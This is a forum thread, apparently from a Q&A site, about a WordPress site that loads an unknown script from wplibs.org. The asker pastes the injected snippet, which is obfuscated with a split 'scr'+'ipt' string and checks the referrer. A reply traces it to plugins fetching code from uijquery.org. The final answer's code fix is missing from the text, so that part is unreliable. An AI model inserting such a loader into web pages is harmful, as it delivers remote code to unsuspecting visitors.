I’m running a new secured WordPress install (https). In my code I load some JavaScript files (modernizr, cookie, and my own)
jQuery is automatically loaded by WordPress.
Installed plugins are Yoast SEO, WPML and SMK Sidebars.
The issue is when I check the console in my browser, it shows me the following:
Mixed Content: The page at ‘https://www.myuri.com/‘ was loaded over
HTTPS, but requested an insecure script
‘http://www.wplibs.org/jquery.min.js‘. This request has been blocked;
the content must be served over HTTPS.
In the source code:
<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>
I’m looking where the script “wplibs.com/jquery.min.js” comes from but I can’t find.
Someone has a idea?
I found the problem. It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code:
Try to look inside the files for the token “jquery.org” or “uijquery.org”.
@IvanRF is right!
I discovered before read it but it works for me too.
Just adding
in
functions.php
of our WordPress theme.